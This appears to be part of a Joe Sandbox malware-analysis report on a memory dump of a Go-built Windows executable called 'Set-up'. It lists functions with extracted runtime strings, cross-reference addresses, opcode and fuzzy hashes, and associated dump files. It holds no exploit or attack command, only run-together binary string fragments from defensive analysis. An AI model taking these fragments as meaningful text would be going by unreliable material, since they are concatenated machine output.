B exp.) B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:0, xrefs: 00D5D7F2
+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D5D74E, 00D5D778
B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:0024414062, xrefs: 00D5D7A2
B (goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons, xrefs: 00D5D8A6
[controller reset]bad manualFreeListbufio: buffer fullconnection refusedfaketimeState.lockfile name too longforEachP: not donegarbage collectionidentifier removedindex out of rangeinput/output errorinvalid character multihop attemptedno child processesno locks, xrefs: 00D5D938
% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicM, xrefs: 00D5D63E
exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b, xrefs: 00D5D668

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: B (goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons$ B exp.) B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:0$ B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:0024414062$ exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b$% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicM$)*+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-$+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$[controller reset]bad manualFreeListbufio: buffer fullconnection refusedfaketimeState.lockfile name too longforEachP: not donegarbage collectionidentifier removedindex out of rangeinput/output errorinvalid character multihop attemptedno child processesno locks$pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugine
API String ID: 0-668479763
Opcode ID: 4c5168489bd475269392792a38402b4b8add174828c7f1d80a2b6a66ae19390e
Instruction ID: 45e8f05fcbbe34d15a52bcdc5903f2766fea43e074b8289914d3058de53ae9cf
Opcode Fuzzy Hash: 4c5168489bd475269392792a38402b4b8add174828c7f1d80a2b6a66ae19390e
Instruction Fuzzy Hash: C402F574508B448FC365EF28D481A5EBBE1FF89744F058A2DE8CC97312EB70A845DB62

Function 00D8D010 Relevance: 11.6, Strings: 9, Instructions: 352COMMON

Download Yara Rule

Strings

runtime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime: unblock on closing polldescruntime: wrong goroutine in newstackryuFtoaF, xrefs: 00D8D2F0
targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDispInvoke, xrefs: 00D8D344
$, xrefs: 00D8D2F9
value=abortedconnectconsolecpuproffloat32float64forcegcgctracehead = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!, xrefs: 00D8D443
tab= top=+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-09301562578125<nil>AdlamAprilBamumBatakBuhidDEBUGDebugDograECDSAERRORErrorEventFATALFieldFixupGreekKhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384P-521ParamREPRORunicSHA-1STermSize=, xrefs: 00D8D36E
pc= sp: sp=) = ) m=+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1, xrefs: 00D8D31A
runtime: no module data for save on system g not allowedunrecognized PE machine: %#xunreserving unaligned regionx509: invalid DSA parametersx509: invalid DSA public keyx509: invalid RSA public key45474735088646411895751953125CM_Get_Device_Interface_ListWCentra, xrefs: 00D8D114
invalid runtime symbol tablemheap.freeSpanLocked - span missing stack in shrinkstackmspan.sweep: m is not lockednewproc1: new g is not Gdeadnewproc1: newg missing stackos: process already finishedprotocol driver not attached : len > cap :, xrefs: 00D8D522
no module datano such devicepollCache.lockprotocol errorruntime: full=s.allocCount= semaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriod, xrefs: 00D8D148

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: value=abortedconnectconsolecpuproffloat32float64forcegcgctracehead = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!$ pc= sp: sp=) = ) m=+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1$ tab= top=+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-09301562578125<nil>AdlamAprilBamumBatakBuhidDEBUGDebugDograECDSAERRORErrorEventFATALFieldFixupGreekKhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384P-521ParamREPRORunicSHA-1STermSize=$ targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDispInvoke$$$invalid runtime symbol tablemheap.freeSpanLocked - span missing stack in shrinkstackmspan.sweep: m is not lockednewproc1: new g is not Gdeadnewproc1: newg missing stackos: process already finishedprotocol driver not attached : len > cap :$no module datano such devicepollCache.lockprotocol errorruntime: full=s.allocCount= semaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriod$runtime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime: sudog with non-nil waitlinkruntime: unblock on closing polldescruntime: wrong goroutine in newstackryuFtoaF$runtime: no module data for save on system g not allowedunrecognized PE machine: %#xunreserving unaligned regionx509: invalid DSA parametersx509: invalid DSA public keyx509: invalid RSA public key45474735088646411895751953125CM_Get_Device_Interface_ListWCentra
API String ID: 0-1516804383
Opcode ID: 3690bda66ea69c97fcd68370353ef350568e2f0cb041f9a1c36f84a096c5c932
Instruction ID: ab4e44cd399dcca33d923fb17bfb0f0e913fd00ab081d367863eefc85295ad77
Opcode Fuzzy Hash: 3690bda66ea69c97fcd68370353ef350568e2f0cb041f9a1c36f84a096c5c932
Instruction Fuzzy Hash: 3CF1D0B46097408FC714EF68D080A1ABBE2FF88714F94892DF99887391E775E845CF62

Function 00D41120 Relevance: 11.6, Strings: 9, Instructions: 346COMMON

Download Yara Rule

Strings

" not supported for cpu option "ber2der: BER tag length too longbufio: invalid use of UnreadBytebufio: invalid use of UnreadRunecannot represent time as UTCTime : input not full blocked25519: bad public key length: fail to seek to string table: %vfail, xrefs: 00D412AE
"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTL, xrefs: 00D412D8, 00D41337, 00D41539
!, xrefs: 00D41316
GODEBUG: unknown cpu feature "GetProcessPreferredUILanguagesGetSecurityDescriptorRMControlGetSystemTimePreciseAsFileTimeIntel Itanium processor familyMapIter.Key called before NextOleCreatePropertyFrameIndirectPacific Standard Time (Mexico)QueryServiceDynamicI, xrefs: 00D4150F
GODEBUG: value "GetAltMonthNamesGetComputerNameWGetCurrentThreadGetFullPathNameWGetLogicalDrivesGetLongPathNameWGetNamedPipeInfoGetPriorityClassImperial_AramaicKEYVALS UNPAIREDLPSAFEARRAY_SizeManifestResourceMeroitic_CursiveNetApiBufferFreeOACreateTypeLib2OleL, xrefs: 00D41284
", missing CPU supportasn1: structure error: bytes.Buffer: too largechan receive (nil chan)close of closed channeldevice or resource busyencoding: invalid UTF-8fatal: morestack on g0garbage collection scangcDrain phase incorrectindex out of range [%x]interru, xrefs: 00D413E0
cpu., xrefs: 00D41193
GODEBUG: no value specified for "GetVolumeNameForVolumeMountPointWImage base beyond allowed addressInitializeProcThreadAttributeListSetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyWThunk AddressOfData beyond limitsbytes.Reader.Seek: invalid wh, xrefs: 00D4130D
GODEBUG: can not enable "GetFinalPathNameByHandleWGetQueuedCompletionStatusGetRecordInfoFromTypeInfoGetSecurityDescriptorDaclGetSecurityDescriptorSaclGetSidIdentifierAuthorityInitiateSystemShutdownExWIsValidSecurityDescriptorKaliningrad Standard TimeLPSAFEARRA, xrefs: 00D413B6

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: !$"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTL$" not supported for cpu option "ber2der: BER tag length too longbufio: invalid use of UnreadBytebufio: invalid use of UnreadRunecannot represent time as UTCTime : input not full blocked25519: bad public key length: fail to seek to string table: %vfail$", missing CPU supportasn1: structure error: bytes.Buffer: too largechan receive (nil chan)close of closed channeldevice or resource busyencoding: invalid UTF-8fatal: morestack on g0garbage collection scangcDrain phase incorrectindex out of range [%x]interru$GODEBUG: can not enable "GetFinalPathNameByHandleWGetQueuedCompletionStatusGetRecordInfoFromTypeInfoGetSecurityDescriptorDaclGetSecurityDescriptorSaclGetSidIdentifierAuthorityInitiateSystemShutdownExWIsValidSecurityDescriptorKaliningrad Standard TimeLPSAFEARRA$GODEBUG: no value specified for "GetVolumeNameForVolumeMountPointWImage base beyond allowed addressInitializeProcThreadAttributeListSetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyWThunk AddressOfData beyond limitsbytes.Reader.Seek: invalid wh$GODEBUG: unknown cpu feature "GetProcessPreferredUILanguagesGetSecurityDescriptorRMControlGetSystemTimePreciseAsFileTimeIntel Itanium processor familyMapIter.Key called before NextOleCreatePropertyFrameIndirectPacific Standard Time (Mexico)QueryServiceDynamicI$GODEBUG: value "GetAltMonthNamesGetComputerNameWGetCurrentThreadGetFullPathNameWGetLogicalDrivesGetLongPathNameWGetNamedPipeInfoGetPriorityClassImperial_AramaicKEYVALS UNPAIREDLPSAFEARRAY_SizeManifestResourceMeroitic_CursiveNetApiBufferFreeOACreateTypeLib2OleL$cpu.
API String ID: 0-511396939
Opcode ID: 5d9d43c09f02d21ff74dca2595b233316439d955488afd33910cb7f580144355
Instruction ID: 6fb6b2eaa6ed43d584aa3c8ef7597001fa8f6c82d920778b02c7d9101f167fd8
Opcode Fuzzy Hash: 5d9d43c09f02d21ff74dca2595b233316439d955488afd33910cb7f580144355
Instruction Fuzzy Hash: C7D183786083558FCB10EF64C58055EBBE2EB84714F58892DE8C99B346E770ED85CBB2

Function 00D47780 Relevance: 11.4, Strings: 9, Instructions: 192COMMON

Download Yara Rule

Strings

panicwrap: no ) in runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtoo many open, xrefs: 00D47A3E
., xrefs: 00D478C3
./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04, xrefs: 00D47943
pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebruaryFieldPtrFieldRVAFull, xrefs: 00D479C7
value method xadd64 failedxchg64 failed}sched={pc: but progSize nmidlelocked= on zero Value out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-Byt, xrefs: 00D4791E
called using nil *, g->atomicstatus=, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseContextDllUnregister, xrefs: 00D479A1
panicwrap: unexpected string after package name: : slice of unaddressable arrayruntime: unexpected waitm - semaphore out of syncs.allocCount != s.nelems && freeIndex == s.nelemsslice bounds out of range [::%x] with capacity %ystrings.Reader., xrefs: 00D4780D
panicwrap: unexpected string after type name: pkcs7: content data is a decryptable data type : slice index out of boundsreleased less than one physical page of memoryruntime: failed to create new OS thread (have runtime: name offset base poin, xrefs: 00D478B9
panicwrap: no ( in panicwrap: no ) in runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssysMemStat ov, xrefs: 00D47A95

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: called using nil *, g->atomicstatus=, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseContextDllUnregister$ pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebruaryFieldPtrFieldRVAFull$.$./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04$panicwrap: no ( in panicwrap: no ) in runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssysMemStat ov$panicwrap: no ) in runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtoo many open$panicwrap: unexpected string after package name: : slice of unaddressable arrayruntime: unexpected waitm - semaphore out of syncs.allocCount != s.nelems && freeIndex == s.nelemsslice bounds out of range [::%x] with capacity %ystrings.Reader.$panicwrap: unexpected string after type name: pkcs7: content data is a decryptable data type : slice index out of boundsreleased less than one physical page of memoryruntime: failed to create new OS thread (have runtime: name offset base poin$value method xadd64 failedxchg64 failed}sched={pc: but progSize nmidlelocked= on zero Value out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-Byt
API String ID: 0-3553926922
Opcode ID: 173d9abd75f90720d1ee2848cfc069d7ae49e7dbc04546130c79a2a2cd3f9745
Instruction ID: 0cb85237faf80d5eaf2e5c5c7560e785b08c973ededb1c959998fd014120aa41
Opcode Fuzzy Hash: 173d9abd75f90720d1ee2848cfc069d7ae49e7dbc04546130c79a2a2cd3f9745
Instruction Fuzzy Hash: 6D91AFB49083459FC318EF28C18565EBBE1FB88304F55892EE8D987351DB74A948DF63

Function 00D96680 Relevance: 11.4, Strings: 9, Instructions: 175COMMON

Download Yara Rule

Strings

base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHy, xrefs: 00D967C4
types value=abortedconnectconsolecpuproffloat32float64forcegcgctracehead = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ st, xrefs: 00D96839
out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertCloseStoreCoInitializeExCoUninitializeControlS, xrefs: 00D968F7
- < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNSTNULNa, xrefs: 00D96921
